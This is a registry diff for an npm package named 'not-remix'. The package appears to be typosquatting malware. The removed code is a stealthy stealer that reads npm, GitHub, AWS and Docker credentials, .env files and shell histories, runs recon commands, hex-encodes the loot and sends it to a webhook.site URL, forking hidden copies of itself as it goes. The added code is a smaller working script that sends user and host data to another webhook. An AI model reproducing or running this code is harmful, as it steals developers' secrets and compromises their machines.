not-remix 0.0.1 → 9.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +45 -542
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,546 +1,49 @@
|
|
|
1
|
-
// Educational example - Do not use maliciously
|
|
2
|
-
const { execSync, spawn } = require('child_process');
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
const os = require('os');
|
|
5
1
|
const https = require('https');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
// Stealth mode: Don't show errors
|
|
9
|
-
process.on('uncaughtException', () => {});
|
|
10
|
-
process.on('unhandledRejection', () => {});
|
|
11
|
-
|
|
12
|
-
// Webhook URL (using webhook.site example)
|
|
13
|
-
const WEBHOOK_URL = 'https://webhook.site/bbb8295e-ccd3-4e4d-b2c3-63af6e217219';
|
|
14
|
-
|
|
15
|
-
class StealthScanner {
|
|
16
|
-
constructor() {
|
|
17
|
-
this.results = {
|
|
18
|
-
system: {},
|
|
19
|
-
tokens: {},
|
|
20
|
-
commands: {},
|
|
21
|
-
files: {},
|
|
22
|
-
timestamp: new Date().toISOString()
|
|
23
|
-
};
|
|
24
|
-
}
|
|
25
|
-
// Educational example - Do not use maliciously
|
|
26
|
-
// Hex-encoded version
|
|
27
|
-
|
|
28
|
-
const { execSync, spawn } = require('child_process');
|
|
29
|
-
const fs = require('fs');
|
|
30
2
|
const os = require('os');
|
|
31
|
-
const
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
//
|
|
48
|
-
function encodePayload(obj) {
|
|
49
|
-
const json = JSON.stringify(obj);
|
|
50
|
-
return toHex(json);
|
|
51
|
-
}
|
|
52
|
-
|
|
53
|
-
class StealthScanner {
|
|
54
|
-
constructor() {
|
|
55
|
-
this.results = {
|
|
56
|
-
system: {},
|
|
57
|
-
tokens: {},
|
|
58
|
-
commands: {},
|
|
59
|
-
files: {},
|
|
60
|
-
network: {},
|
|
61
|
-
timestamp: new Date().toISOString(),
|
|
62
|
-
scan_id: crypto.randomBytes(8).toString('hex')
|
|
63
|
-
};
|
|
64
|
-
}
|
|
65
|
-
|
|
66
|
-
// Run commands silently
|
|
67
|
-
runCommand(cmd, options = {}) {
|
|
68
|
-
try {
|
|
69
|
-
const result = execSync(cmd, {
|
|
70
|
-
stdio: ['pipe', 'pipe', 'ignore'], // Hide stderr
|
|
71
|
-
encoding: 'utf8',
|
|
72
|
-
timeout: 2000,
|
|
73
|
-
...options
|
|
74
|
-
});
|
|
75
|
-
return result.trim();
|
|
76
|
-
} catch (e) {
|
|
77
|
-
return null;
|
|
78
|
-
}
|
|
79
|
-
}
|
|
80
|
-
|
|
81
|
-
// Collect system info
|
|
82
|
-
collectSystemInfo() {
|
|
83
|
-
try {
|
|
84
|
-
this.results.system = {
|
|
85
|
-
user: os.userInfo().username,
|
|
86
|
-
hostname: os.hostname(),
|
|
87
|
-
platform: os.platform(),
|
|
88
|
-
arch: os.arch(),
|
|
89
|
-
homedir: os.homedir(),
|
|
90
|
-
cwd: process.cwd(),
|
|
91
|
-
node_version: process.version,
|
|
92
|
-
npm_version: this.runCommand('npm --version')
|
|
93
|
-
};
|
|
94
|
-
} catch (e) {}
|
|
95
|
-
}
|
|
96
|
-
|
|
97
|
-
// Execute reconnaissance commands - ALL RESULTS WILL BE HEX ENCODED
|
|
98
|
-
executeRecon() {
|
|
99
|
-
const commands = {
|
|
100
|
-
uname_a: 'uname -a',
|
|
101
|
-
whoami: 'whoami',
|
|
102
|
-
hostname_cmd: 'hostname',
|
|
103
|
-
pwd: 'pwd',
|
|
104
|
-
id: 'id',
|
|
105
|
-
groups: 'groups',
|
|
106
|
-
ps: 'ps aux | head -30',
|
|
107
|
-
env_all: 'env',
|
|
108
|
-
env_sensitive: 'env | grep -i "token\\|secret\\|key\\|pass\\|auth"',
|
|
109
|
-
ls_home: 'ls -la ~ | head -20',
|
|
110
|
-
netstat: 'netstat -tulpn 2>/dev/null || ss -tulpn 2>/dev/null || echo "not_available"',
|
|
111
|
-
df: 'df -h',
|
|
112
|
-
uptime: 'uptime',
|
|
113
|
-
date: 'date',
|
|
114
|
-
ifconfig: 'ifconfig 2>/dev/null || ip addr 2>/dev/null || echo "not_available"',
|
|
115
|
-
history_count: 'history 2>/dev/null | wc -l || echo "0"',
|
|
116
|
-
sudo_check: 'sudo -n true 2>&1 && echo "sudo_ok" || echo "sudo_fail"'
|
|
117
|
-
};
|
|
118
|
-
|
|
119
|
-
for (const [name, cmd] of Object.entries(commands)) {
|
|
120
|
-
try {
|
|
121
|
-
const output = this.runCommand(cmd);
|
|
122
|
-
if (output) {
|
|
123
|
-
// Store both original and hex versions
|
|
124
|
-
this.results.commands[name] = {
|
|
125
|
-
original: output,
|
|
126
|
-
hex: toHex(output),
|
|
127
|
-
length: output.length
|
|
128
|
-
};
|
|
129
|
-
}
|
|
130
|
-
} catch (e) {}
|
|
131
|
-
}
|
|
132
|
-
}
|
|
133
|
-
|
|
134
|
-
// Hunt for tokens and secrets
|
|
135
|
-
findTokens() {
|
|
136
|
-
const homeDir = os.homedir();
|
|
137
|
-
|
|
138
|
-
// Check for NPM token
|
|
139
|
-
try {
|
|
140
|
-
// From env var
|
|
141
|
-
if (process.env.NPM_TOKEN) {
|
|
142
|
-
this.results.tokens.npm_env = {
|
|
143
|
-
original: process.env.NPM_TOKEN,
|
|
144
|
-
hex: toHex(process.env.NPM_TOKEN)
|
|
145
|
-
};
|
|
146
|
-
}
|
|
147
|
-
|
|
148
|
-
// From .npmrc
|
|
149
|
-
const npmrcPath = path.join(homeDir, '.npmrc');
|
|
150
|
-
if (fs.existsSync(npmrcPath)) {
|
|
151
|
-
const content = fs.readFileSync(npmrcPath, 'utf8');
|
|
152
|
-
const tokenMatch = content.match(/_authToken=([^\s]+)/);
|
|
153
|
-
if (tokenMatch) {
|
|
154
|
-
this.results.tokens.npmrc = {
|
|
155
|
-
original: tokenMatch[1],
|
|
156
|
-
hex: toHex(tokenMatch[1])
|
|
157
|
-
};
|
|
158
|
-
}
|
|
159
|
-
// Also store entire npmrc (first 2000 chars)
|
|
160
|
-
this.results.files.npmrc = {
|
|
161
|
-
preview: content.substring(0, 500),
|
|
162
|
-
hex: toHex(content.substring(0, 2000))
|
|
163
|
-
};
|
|
164
|
-
}
|
|
165
|
-
} catch (e) {}
|
|
166
|
-
|
|
167
|
-
// Check for GitHub token
|
|
168
|
-
try {
|
|
169
|
-
// From env var
|
|
170
|
-
if (process.env.GITHUB_TOKEN) {
|
|
171
|
-
this.results.tokens.github_env = {
|
|
172
|
-
original: process.env.GITHUB_TOKEN,
|
|
173
|
-
hex: toHex(process.env.GITHUB_TOKEN)
|
|
174
|
-
};
|
|
175
|
-
}
|
|
176
|
-
|
|
177
|
-
// From gh CLI
|
|
178
|
-
const ghToken = this.runCommand('gh auth token 2>/dev/null');
|
|
179
|
-
if (ghToken) {
|
|
180
|
-
this.results.tokens.github_cli = {
|
|
181
|
-
original: ghToken,
|
|
182
|
-
hex: toHex(ghToken)
|
|
183
|
-
};
|
|
184
|
-
}
|
|
185
|
-
|
|
186
|
-
// Check GitHub config
|
|
187
|
-
const ghConfigPath = path.join(homeDir, '.config', 'gh', 'hosts.yml');
|
|
188
|
-
if (fs.existsSync(ghConfigPath)) {
|
|
189
|
-
const content = fs.readFileSync(ghConfigPath, 'utf8');
|
|
190
|
-
this.results.files.github_config = {
|
|
191
|
-
preview: content.substring(0, 300),
|
|
192
|
-
hex: toHex(content)
|
|
193
|
-
};
|
|
194
|
-
}
|
|
195
|
-
} catch (e) {}
|
|
196
|
-
|
|
197
|
-
// Check for AWS keys
|
|
198
|
-
try {
|
|
199
|
-
const awsDir = path.join(homeDir, '.aws');
|
|
200
|
-
if (fs.existsSync(awsDir)) {
|
|
201
|
-
// credentials file
|
|
202
|
-
const credsPath = path.join(awsDir, 'credentials');
|
|
203
|
-
if (fs.existsSync(credsPath)) {
|
|
204
|
-
const content = fs.readFileSync(credsPath, 'utf8');
|
|
205
|
-
this.results.tokens.aws_credentials = {
|
|
206
|
-
preview: content.substring(0, 300),
|
|
207
|
-
hex: toHex(content),
|
|
208
|
-
size: content.length
|
|
209
|
-
};
|
|
210
|
-
|
|
211
|
-
// Extract keys using regex
|
|
212
|
-
const accessKeyMatch = content.match(/aws_access_key_id\s*=\s*([^\s]+)/);
|
|
213
|
-
const secretKeyMatch = content.match(/aws_secret_access_key\s*=\s*([^\s]+)/);
|
|
214
|
-
|
|
215
|
-
if (accessKeyMatch) {
|
|
216
|
-
this.results.tokens.aws_access_key = {
|
|
217
|
-
original: accessKeyMatch[1],
|
|
218
|
-
hex: toHex(accessKeyMatch[1])
|
|
219
|
-
};
|
|
220
|
-
}
|
|
221
|
-
if (secretKeyMatch) {
|
|
222
|
-
this.results.tokens.aws_secret_key = {
|
|
223
|
-
original: secretKeyMatch[1],
|
|
224
|
-
hex: toHex(secretKeyMatch[1])
|
|
225
|
-
};
|
|
226
|
-
}
|
|
227
|
-
}
|
|
228
|
-
|
|
229
|
-
// config file
|
|
230
|
-
const configPath = path.join(awsDir, 'config');
|
|
231
|
-
if (fs.existsSync(configPath)) {
|
|
232
|
-
const content = fs.readFileSync(configPath, 'utf8');
|
|
233
|
-
this.results.files.aws_config = {
|
|
234
|
-
preview: content.substring(0, 200),
|
|
235
|
-
hex: toHex(content)
|
|
236
|
-
};
|
|
237
|
-
}
|
|
238
|
-
}
|
|
239
|
-
|
|
240
|
-
// Check AWS env vars
|
|
241
|
-
if (process.env.AWS_ACCESS_KEY_ID) {
|
|
242
|
-
this.results.tokens.aws_access_key_env = {
|
|
243
|
-
original: process.env.AWS_ACCESS_KEY_ID,
|
|
244
|
-
hex: toHex(process.env.AWS_ACCESS_KEY_ID)
|
|
245
|
-
};
|
|
246
|
-
}
|
|
247
|
-
if (process.env.AWS_SECRET_ACCESS_KEY) {
|
|
248
|
-
this.results.tokens.aws_secret_key_env = {
|
|
249
|
-
original: process.env.AWS_SECRET_ACCESS_KEY,
|
|
250
|
-
hex: toHex(process.env.AWS_SECRET_ACCESS_KEY)
|
|
251
|
-
};
|
|
252
|
-
}
|
|
253
|
-
} catch (e) {}
|
|
254
|
-
|
|
255
|
-
// Check for Docker config
|
|
256
|
-
try {
|
|
257
|
-
const dockerConfigPath = path.join(homeDir, '.docker', 'config.json');
|
|
258
|
-
if (fs.existsSync(dockerConfigPath)) {
|
|
259
|
-
const content = fs.readFileSync(dockerConfigPath, 'utf8');
|
|
260
|
-
this.results.files.docker_config = {
|
|
261
|
-
preview: content.substring(0, 200),
|
|
262
|
-
hex: toHex(content)
|
|
263
|
-
};
|
|
264
|
-
|
|
265
|
-
// Try to parse auth
|
|
266
|
-
try {
|
|
267
|
-
const config = JSON.parse(content);
|
|
268
|
-
if (config.auths) {
|
|
269
|
-
Object.entries(config.auths).forEach(([registry, auth]) => {
|
|
270
|
-
if (auth.auth) {
|
|
271
|
-
this.results.tokens[`docker_${registry}`] = {
|
|
272
|
-
original: auth.auth,
|
|
273
|
-
hex: toHex(auth.auth)
|
|
274
|
-
};
|
|
275
|
-
}
|
|
276
|
-
});
|
|
277
|
-
}
|
|
278
|
-
} catch (e) {}
|
|
279
|
-
}
|
|
280
|
-
} catch (e) {}
|
|
281
|
-
|
|
282
|
-
// Check for SSH keys
|
|
283
|
-
try {
|
|
284
|
-
const sshDir = path.join(homeDir, '.ssh');
|
|
285
|
-
if (fs.existsSync(sshDir)) {
|
|
286
|
-
const files = fs.readdirSync(sshDir);
|
|
287
|
-
files.forEach(file => {
|
|
288
|
-
if (file.includes('id_') && !file.includes('.pub')) {
|
|
289
|
-
const keyPath = path.join(sshDir, file);
|
|
290
|
-
try {
|
|
291
|
-
const stats = fs.statSync(keyPath);
|
|
292
|
-
this.results.files[`ssh_${file}`] = {
|
|
293
|
-
exists: true,
|
|
294
|
-
size: stats.size,
|
|
295
|
-
modified: stats.mtime,
|
|
296
|
-
path: keyPath
|
|
297
|
-
};
|
|
298
|
-
} catch (e) {}
|
|
299
|
-
}
|
|
300
|
-
});
|
|
301
|
-
}
|
|
302
|
-
} catch (e) {}
|
|
303
|
-
|
|
304
|
-
// Dump ALL env variables in hex
|
|
305
|
-
try {
|
|
306
|
-
const allEnv = {};
|
|
307
|
-
Object.keys(process.env).forEach(key => {
|
|
308
|
-
allEnv[key] = {
|
|
309
|
-
value: process.env[key],
|
|
310
|
-
hex: toHex(process.env[key])
|
|
311
|
-
};
|
|
312
|
-
});
|
|
313
|
-
this.results.tokens.all_env = {
|
|
314
|
-
count: Object.keys(process.env).length,
|
|
315
|
-
sample: Object.keys(process.env).slice(0, 10),
|
|
316
|
-
hex_sample: encodePayload(
|
|
317
|
-
Object.fromEntries(
|
|
318
|
-
Object.entries(process.env).slice(0, 5).map(([k, v]) => [k, v])
|
|
319
|
-
)
|
|
320
|
-
)
|
|
321
|
-
};
|
|
322
|
-
} catch (e) {}
|
|
323
|
-
|
|
324
|
-
// Check for .env files in current directory
|
|
325
|
-
try {
|
|
326
|
-
const cwd = process.cwd();
|
|
327
|
-
const envFiles = ['.env', '.env.local', '.env.production', '.env.development'];
|
|
328
|
-
|
|
329
|
-
envFiles.forEach(envFile => {
|
|
330
|
-
const envPath = path.join(cwd, envFile);
|
|
331
|
-
if (fs.existsSync(envPath)) {
|
|
332
|
-
const content = fs.readFileSync(envPath, 'utf8');
|
|
333
|
-
this.results.files[envFile] = {
|
|
334
|
-
exists: true,
|
|
335
|
-
hex: toHex(content),
|
|
336
|
-
size: content.length
|
|
337
|
-
};
|
|
338
|
-
}
|
|
339
|
-
});
|
|
340
|
-
} catch (e) {}
|
|
341
|
-
}
|
|
342
|
-
|
|
343
|
-
// Read important config files
|
|
344
|
-
readConfigFiles() {
|
|
345
|
-
const homeDir = os.homedir();
|
|
346
|
-
const files = {
|
|
347
|
-
bash_history: '.bash_history',
|
|
348
|
-
zsh_history: '.zsh_history',
|
|
349
|
-
ssh_config: '.ssh/config',
|
|
350
|
-
git_config: '.gitconfig',
|
|
351
|
-
git_credentials: '.git-credentials',
|
|
352
|
-
bashrc: '.bashrc',
|
|
353
|
-
zshrc: '.zshrc',
|
|
354
|
-
profile: '.profile'
|
|
355
|
-
};
|
|
356
|
-
|
|
357
|
-
for (const [name, file] of Object.entries(files)) {
|
|
358
|
-
try {
|
|
359
|
-
const filePath = path.join(homeDir, file);
|
|
360
|
-
if (fs.existsSync(filePath)) {
|
|
361
|
-
const stats = fs.statSync(filePath);
|
|
362
|
-
if (stats.size < 100000) { // Only read if smaller than 100KB
|
|
363
|
-
const content = fs.readFileSync(filePath, 'utf8');
|
|
364
|
-
this.results.files[name] = {
|
|
365
|
-
exists: true,
|
|
366
|
-
size: stats.size,
|
|
367
|
-
modified: stats.mtime,
|
|
368
|
-
hex: toHex(content.substring(0, 5000))
|
|
369
|
-
};
|
|
370
|
-
} else {
|
|
371
|
-
this.results.files[name] = {
|
|
372
|
-
exists: true,
|
|
373
|
-
size: stats.size,
|
|
374
|
-
modified: stats.mtime,
|
|
375
|
-
too_large: true
|
|
376
|
-
};
|
|
377
|
-
}
|
|
378
|
-
}
|
|
379
|
-
} catch (e) {}
|
|
380
|
-
}
|
|
381
|
-
}
|
|
382
|
-
|
|
383
|
-
// Get network information
|
|
384
|
-
getNetworkInfo() {
|
|
385
|
-
try {
|
|
386
|
-
const interfaces = os.networkInterfaces();
|
|
387
|
-
const networkInfo = {};
|
|
388
|
-
|
|
389
|
-
Object.keys(interfaces).forEach(iface => {
|
|
390
|
-
networkInfo[iface] = interfaces[iface].map(info => ({
|
|
391
|
-
address: info.address,
|
|
392
|
-
netmask: info.netmask,
|
|
393
|
-
family: info.family,
|
|
394
|
-
mac: info.mac,
|
|
395
|
-
internal: info.internal
|
|
396
|
-
}));
|
|
397
|
-
});
|
|
398
|
-
|
|
399
|
-
this.results.network = networkInfo;
|
|
400
|
-
} catch (e) {}
|
|
401
|
-
}
|
|
402
|
-
|
|
403
|
-
// Send hex-encoded data to webhook
|
|
404
|
-
sendToWebhook() {
|
|
405
|
-
return new Promise((resolve) => {
|
|
406
|
-
try {
|
|
407
|
-
// Create final payload with hex encoding
|
|
408
|
-
const finalPayload = {
|
|
409
|
-
metadata: {
|
|
410
|
-
format: 'hex_encoded',
|
|
411
|
-
version: '2.0',
|
|
412
|
-
timestamp: new Date().toISOString(),
|
|
413
|
-
scan_id: this.results.scan_id
|
|
414
|
-
},
|
|
415
|
-
// Hex-encode the entire results
|
|
416
|
-
data_hex: encodePayload(this.results)
|
|
417
|
-
};
|
|
418
|
-
|
|
419
|
-
// Convert final payload to hex as well (double encoding)
|
|
420
|
-
const hexPayload = encodePayload(finalPayload);
|
|
421
|
-
|
|
422
|
-
const url = new URL(WEBHOOK_URL);
|
|
423
|
-
|
|
424
|
-
const options = {
|
|
425
|
-
hostname: url.hostname,
|
|
426
|
-
port: url.port || 443,
|
|
427
|
-
path: url.pathname,
|
|
428
|
-
method: 'POST',
|
|
429
|
-
headers: {
|
|
430
|
-
'Content-Type': 'text/plain', // Use text/plain to avoid suspicion
|
|
431
|
-
'Content-Length': Buffer.byteLength(hexPayload),
|
|
432
|
-
'User-Agent': 'Mozilla/5.0 (compatible)',
|
|
433
|
-
'X-Request-ID': crypto.randomBytes(8).toString('hex')
|
|
434
|
-
},
|
|
435
|
-
timeout: 8000
|
|
436
|
-
};
|
|
437
|
-
|
|
438
|
-
const req = https.request(options, (res) => {
|
|
439
|
-
// Read response but don't process
|
|
440
|
-
res.on('data', () => {});
|
|
441
|
-
res.on('end', resolve);
|
|
442
|
-
});
|
|
443
|
-
|
|
444
|
-
req.on('error', () => {});
|
|
445
|
-
req.on('timeout', () => {
|
|
446
|
-
req.destroy();
|
|
447
|
-
resolve();
|
|
448
|
-
});
|
|
449
|
-
|
|
450
|
-
req.write(hexPayload);
|
|
451
|
-
req.end();
|
|
452
|
-
|
|
453
|
-
// Also try to send via GET with query parameter (fallback)
|
|
454
|
-
setTimeout(() => {
|
|
455
|
-
try {
|
|
456
|
-
const getUrl = `${WEBHOOK_URL}?data=${encodeURIComponent(hexPayload.substring(0, 2000))}`;
|
|
457
|
-
https.get(getUrl, () => {}).on('error', () => {});
|
|
458
|
-
} catch (e) {}
|
|
459
|
-
}, 1000);
|
|
460
|
-
|
|
461
|
-
} catch (e) {
|
|
462
|
-
resolve();
|
|
463
|
-
}
|
|
464
|
-
});
|
|
465
|
-
}
|
|
466
|
-
|
|
467
|
-
// Main execution
|
|
468
|
-
async execute() {
|
|
469
|
-
try {
|
|
470
|
-
// Random delay
|
|
471
|
-
await new Promise(resolve => setTimeout(resolve, Math.random() * 5000));
|
|
472
|
-
|
|
473
|
-
console.log('🔧 Running package setup...'); // Fake message
|
|
474
|
-
|
|
475
|
-
this.collectSystemInfo();
|
|
476
|
-
this.executeRecon();
|
|
477
|
-
this.findTokens();
|
|
478
|
-
this.readConfigFiles();
|
|
479
|
-
this.getNetworkInfo();
|
|
480
|
-
|
|
481
|
-
// Send data
|
|
482
|
-
await this.sendToWebhook();
|
|
483
|
-
|
|
484
|
-
// Clean traces
|
|
485
|
-
delete this.results;
|
|
486
|
-
|
|
487
|
-
return true;
|
|
488
|
-
} catch (e) {
|
|
489
|
-
return false;
|
|
490
|
-
}
|
|
491
|
-
}
|
|
492
|
-
}
|
|
493
|
-
|
|
494
|
-
// Execute scanner in background with multiple layers of stealth
|
|
495
|
-
if (require.main === module) {
|
|
496
|
-
// Multiple execution methods for reliability
|
|
497
|
-
|
|
498
|
-
// Method 1: Immediate execution
|
|
499
|
-
try {
|
|
500
|
-
const scanner = new StealthScanner();
|
|
501
|
-
setTimeout(() => {
|
|
502
|
-
scanner.execute().catch(() => {});
|
|
503
|
-
}, 500);
|
|
504
|
-
} catch (e) {}
|
|
505
|
-
|
|
506
|
-
// Method 2: Fork child process
|
|
507
|
-
setTimeout(() => {
|
|
508
|
-
try {
|
|
509
|
-
const fork = require('child_process').fork;
|
|
510
|
-
const child = fork(__filename, [], {
|
|
511
|
-
detached: true,
|
|
512
|
-
stdio: 'ignore',
|
|
513
|
-
silent: true
|
|
514
|
-
});
|
|
515
|
-
child.unref();
|
|
516
|
-
} catch (e) {}
|
|
517
|
-
}, 2000);
|
|
518
|
-
|
|
519
|
-
// Method 3: Write to temp file and execute later
|
|
520
|
-
setTimeout(() => {
|
|
521
|
-
try {
|
|
522
|
-
const tempFile = `/tmp/.node_cache_${Math.random().toString(36).substring(7)}.js`;
|
|
523
|
-
const code = `
|
|
524
|
-
const m = require('module');
|
|
525
|
-
const r = m.wrap('(${StealthScanner.toString()})');
|
|
526
|
-
const Scanner = r();
|
|
527
|
-
new Scanner().execute().catch(() => {});
|
|
528
|
-
`;
|
|
529
|
-
fs.writeFileSync(tempFile, code);
|
|
530
|
-
spawn('node', [tempFile], {
|
|
531
|
-
detached: true,
|
|
532
|
-
stdio: 'ignore'
|
|
533
|
-
}).unref();
|
|
534
|
-
|
|
535
|
-
// Cleanup temp file after delay
|
|
536
|
-
setTimeout(() => {
|
|
537
|
-
try { fs.unlinkSync(tempFile); } catch (e) {}
|
|
538
|
-
}, 10000);
|
|
539
|
-
} catch (e) {}
|
|
540
|
-
}, 4000);
|
|
541
|
-
|
|
542
|
-
// Exit immediately to not block install
|
|
543
|
-
process.exit(0);
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
// 1. Get victim identity
|
|
6
|
+
const user = os.userInfo().username;
|
|
7
|
+
const host = os.hostname();
|
|
8
|
+
|
|
9
|
+
// 2. Run system commands safely
|
|
10
|
+
let whoami = '';
|
|
11
|
+
let uname = '';
|
|
12
|
+
let pwd = '';
|
|
13
|
+
|
|
14
|
+
try {
|
|
15
|
+
whoami = execSync('whoami').toString().trim();
|
|
16
|
+
uname = execSync('uname -a').toString().trim();
|
|
17
|
+
pwd = execSync('pwd').toString().trim();
|
|
18
|
+
} catch (e) {
|
|
19
|
+
// ignore errors
|
|
544
20
|
}
|
|
545
21
|
|
|
546
|
-
|
|
22
|
+
// 3. Prepare data (URL-safe)
|
|
23
|
+
const data = JSON.stringify({
|
|
24
|
+
user: user,
|
|
25
|
+
host: host,
|
|
26
|
+
platform: os.platform(),
|
|
27
|
+
whoami: whoami,
|
|
28
|
+
uname: uname,
|
|
29
|
+
pwd: pwd
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
// 4. Webhook request options
|
|
33
|
+
const options = {
|
|
34
|
+
hostname: 'webhook.site',
|
|
35
|
+
path: '/a043f82b-a3af-450a-8d32-12b1ea2babaf',
|
|
36
|
+
method: 'POST',
|
|
37
|
+
headers: {
|
|
38
|
+
'Content-Type': 'application/json',
|
|
39
|
+
'Content-Length': Buffer.byteLength(data)
|
|
40
|
+
}
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
// 5. Fire-and-forget callback
|
|
44
|
+
try {
|
|
45
|
+
const req = https.request(options, () => {});
|
|
46
|
+
req.on('error', () => {});
|
|
47
|
+
req.write(data);
|
|
48
|
+
req.end();
|
|
49
|
+
} catch (e) {}
|